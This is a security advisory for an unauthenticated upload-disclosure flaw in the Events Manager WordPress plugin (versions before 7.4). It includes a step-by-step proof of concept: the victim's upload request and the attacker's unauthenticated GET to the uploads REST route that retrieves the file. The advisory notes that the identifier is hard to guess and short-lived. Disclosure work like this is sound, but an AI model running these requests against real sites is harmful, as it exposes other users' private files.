Events Manager < 7.4 – Unauthenticated Pending Upload Disclosure via events-manager/v1/uploads | CVE 2026-18050

Description

The plugin does not perform any authorization check on a REST route that serves temporarily stored file uploads, allowing unauthenticated users to retrieve another user's in-progress upload when its temporary identifier is known. The identifier is high-entropy, is disclosed only to the uploader, and the file is removed on submission or by a scheduled cleanup, so a cross-user read is not achievable by guessing alone.

Proof of Concept

Prerequisites:
- A page containing the [event_form] shortcode, so visitors can submit an event with a featured image. For the victim to be a logged-out visitor, enable "Allow anonymous event submissions?" under Events > Settings > General.

Victim (an ordinary visitor uploading a file on the event submission form):

1. Open the event submission page. The uploader nonce is rendered in the file input's data-api-nonce attribute.

2. The uploader posts the selected file:

   POST /wp-json/events-manager/v1/uploads?path=event-image
   X-EM-Nonce: <nonce from the form>
   (multipart body carrying the file in the event_image field)

   The response returns the temporary identifier of the stored upload:
   {"success":true,"file":{"id":"phpgc1qe3uj0pum1ZSDTyq","name":"private-photo.png","size":654,"type":"image/png"},"nonce":"80ff9603fd"}

Attacker (no cookies, no session, no nonce):

3. GET /wp-json/events-manager/v1/uploads?temp_id=phpgc1qe3uj0pum1ZSDTyq

Expected result:
HTTP 200 with content-type image/png and a response body byte-identical to the file the victim uploaded, returned to a client with no authentication of any kind. A non-existent identifier returns HTTP 404 {"success":false,"error":"File not found."}.

Reach: the identifier is returned only to the uploader and is not enumerable through any endpoint, and the temporary file is removed once the form is submitted successfully or by a scheduled cleanup 30 minutes after upload, so reading a specific victim's file requires already knowing the identifier.